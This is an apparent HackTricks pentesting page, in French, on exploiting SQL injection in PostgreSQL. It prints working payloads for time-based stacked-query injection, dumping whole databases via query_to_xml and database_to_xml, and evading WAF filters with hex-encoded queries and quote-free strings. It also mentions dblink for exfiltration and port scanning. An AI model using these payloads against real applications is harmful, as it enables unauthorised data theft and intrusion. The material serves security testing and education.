PostgreSQL injection

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Si vous êtes intéressé par une carrière en piratage et pirater l'impiratable - nous recrutons ! (maîtrise du polonais écrit et parlé requise).


Cette page vise à expliquer différentes astuces qui pourraient vous aider à exploiter une injection SQL trouvée dans une base de données PostgreSQL et à compléter les astuces que vous pouvez trouver sur https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Interaction réseau - Élévation de privilèges, Scanner de ports, divulgation de la réponse au défi NTLM et Exfiltration

Le module PostgreSQL dblink offre des capacités pour se connecter à d'autres instances PostgreSQL et exécuter des connexions TCP. Ces fonctionnalités, combinées à la fonctionnalité COPY FROM, permettent des actions telles que l'élévation de privilèges, le balayage de ports et la capture de la réponse au défi NTLM. Pour des méthodes détaillées sur l'exécution de ces attaques, consultez comment effectuer ces attaques.

Vous pouvez lire cet exemple pour voir un exemple de CTF de comment charger des données à l'intérieur de grands objets et ensuite exfiltrer le contenu des grands objets à l'intérieur du nom d'utilisateur de la fonction dblink_connect.

Attaques PostgreSQL : Lecture/écriture, RCE, élévation de privilèges

Consultez comment compromettre l'hôte et escalader les privilèges à partir de PostgreSQL dans :

page5432,5433 - Pentesting Postgresql

Contournement de WAF

Fonctions de chaînes PostgreSQL

La manipulation de chaînes pourrait vous aider à contourner les WAF ou d'autres restrictions. Sur cette page vous pouvez trouver quelques fonctions de chaînes utiles.

Requêtes empilées

N'oubliez pas que PostgreSQL prend en charge les requêtes empilées, mais plusieurs applications renverront une erreur si 2 réponses sont renvoyées alors qu'une seule est attendue. Cependant, vous pouvez toujours abuser des requêtes empilées via une injection de temps :

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

Astuces XML

query_to_xml

Cette fonction renverra toutes les données au format XML dans un seul fichier. C'est idéal si vous souhaitez déverser beaucoup de données en une seule ligne :

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Cette fonction va exporter l'intégralité de la base de données au format XML en une seule ligne (soyez prudent si la base de données est très volumineuse car vous pourriez la mettre en panne ou même votre propre client):

SELECT database_to_xml(true,true,'');

Chaînes en hexadécimal

Si vous pouvez exécuter des requêtes en les passant à l'intérieur d'une chaîne (par exemple en utilisant la fonction query_to_xml), vous pouvez utiliser la fonction convert_from pour passer la chaîne en hexadécimal et contourner les filtres de cette manière :

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

Guillemets interdits

Si vous ne pouvez pas utiliser de guillemets pour votre charge utile, vous pouvez contourner cela avec CHR pour les clauses de base (la concaténation de caractères ne fonctionne que pour les requêtes de base telles que SELECT, INSERT, DELETE, etc. Cela ne fonctionne pas pour toutes les instructions SQL):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Ou avec $. Ces requêtes retournent les mêmes résultats :

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Si vous êtes intéressé par une carrière en piratage et pirater l'impossible - nous recrutons ! (polonais écrit et parlé couramment requis).

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Dernière mise à jour